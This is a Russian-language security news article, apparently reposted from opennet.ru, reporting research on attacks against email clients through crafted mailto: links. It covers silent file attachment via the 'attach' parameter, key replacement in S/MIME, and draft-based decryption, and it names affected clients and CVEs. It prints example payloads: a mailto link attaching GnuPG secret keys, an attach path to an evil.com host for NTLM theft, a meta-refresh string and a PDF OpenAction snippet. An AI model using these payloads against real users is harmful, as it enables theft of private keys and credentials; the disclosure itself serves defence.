25.09.2020

Атака на пользователей почтовых клиентов при помощи ссылок «mailto:»


Исследователи из Рурского университета в Бохуме (Германия) проанализировали (PDF) поведение почтовых клиентов при обработке ссылок «mailto:» с расширенными параметрами. Пять из двадцати рассмотренных почтовых клиентов оказались уязвимы для атаки, манипулирующей подстановкой ресурсов при помощи параметра «attach». Ещё шесть почтовых клиентов были подвержены атаке по замене ключей PGP и S/MIME, а три клиента оказались уязвимы для атаки по извлечению содержимого зашифрованных сообщений.

Ссылки «mailto:» применяются для автоматизации открытия почтового клиента с целью написания письма заданному в ссылке адресату. Кроме адреса в составе ссылки можно указать дополнительные параметры, такие как тема письма и шаблон типового содержимого. Предложенная атака манипулирует параметром «attach», позволяющем прикрепить к создаваемому письму вложение.

Почтовые клиенты Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) и Pegasus Mail оказались уязвимы тривиальной атаке, позволяющей автоматически прикрепить любой локальный файл, указанный через ссылку вида «mailto:?attach=путь_к_файлу». Файл прикрепляется без вывода предупреждения, поэтому без специального акцентирования внимания пользователь может не заметить, что письмо будет отправлено с прикреплением вложением.

Например, при помощи ссылки вида «mailto:?to=user@example.com&subject=Title&body=Text&attach=~/.gnupg/secring.gpg» можно подставить в письмо закрытые ключи от GnuPG. Также можно отправить содержимое криптокошельков (~/.bitcoin/wallet.dat), SSH-ключи (~/.ssh/id_rsa) и любые доступные пользователю файлы. Более того, Thunderbird позволяет прикреплять группы файлов по маске при помощи конструкций вида «attach=/tmp/*.txt».

Кроме локальных файлов некоторые почтовые клиенты обрабатывают ссылки на сетевые хранилища и пути в IMAP-сервере. В частности, IBM Notes позволяет передать файл из сетевого каталога при обработке ссылок вида «attach=\evil.comdummyfile», а также перехватить параметры аутентификации NTLM направив ссылку на SMB-сервер, подконтрольный атакующему (запрос будет отправлен с текущими параметрами аутентификации пользователя).

Thunderbird успешно обрабатывает запросы вида «attach=imap:///fetch›UID›/INBOX›1/», позволяющие прикрепить содержимое из папок на IMAP-сервере. При этом извлекаемые из IMAP письма, зашифрованные через OpenPGP и S/MIME, автоматически расшифровываются почтовым клиентом перед отправкой. Разработчики Thunderbird были уведомлены о проблеме в феврале и в выпуске Thunderbird 78 проблема уже устранена (ветки Thunderbird 52, 60 и 68 остаются уязвимыми).

Старые версии Thunderbird оказались уязвимы и для двух других вариантов атаки на PGP и S/MIME, предложенных исследователями. В частности, к Thunderbird, а также к OutLook, PostBox, eM Client, MailMate и R2Mail2 оказалась применима атака по замене ключей, вызванная тем, что почтовый клиент автоматически импортирует и устанавливает новые сертификаты, передаваемые в сообщениях S/MIME, что позволяет атакующему организовать подмену уже сохранённых у пользователя открытых ключей.

Вторая атака, которой подвержены Thunderbird, PostBox и MailMate, манипулирует особенностями механизма автосохранения черновиков сообщений и позволяет при помощи параметров mailto инициировать расшифровку зашифрованных сообщений или добавление цифровой подписи для произвольных сообщений, с последующей передачей результата на IMAP-сервер атакующего. Шифротекст при данной атаке передаётся через парметр «body», а для инициирования обращения к IMAP-серверу атакующего применяется тег «meta refresh». Например: ‘‹meta http-equiv=»refresh» content=»60; URL=mailto:?body=——BEGIN PGP MESSAGE——[…]——END PGP MESSAGE——«›’

Для автоматической обработки ссылок «mailto:» без участия пользователя могут применяться специально оформленные документы PDF — действие OpenAction в PDF позволяет автоматически запустить обработчик mailto при открытии документа:

     %PDF-1.5     1 0 obj     ‹‹ /Type /Catalog /OpenAction [2 0 R] ››      endobj          2 0 obj     ‹‹ /Type /Action /S /URI/URI (mailto:?body=-----BEGIN PGP MESSAGE-----[...])››     endobj    

Источник: https://www.opennet.ru/opennews/art.shtml?num=53570

Добавить комментарий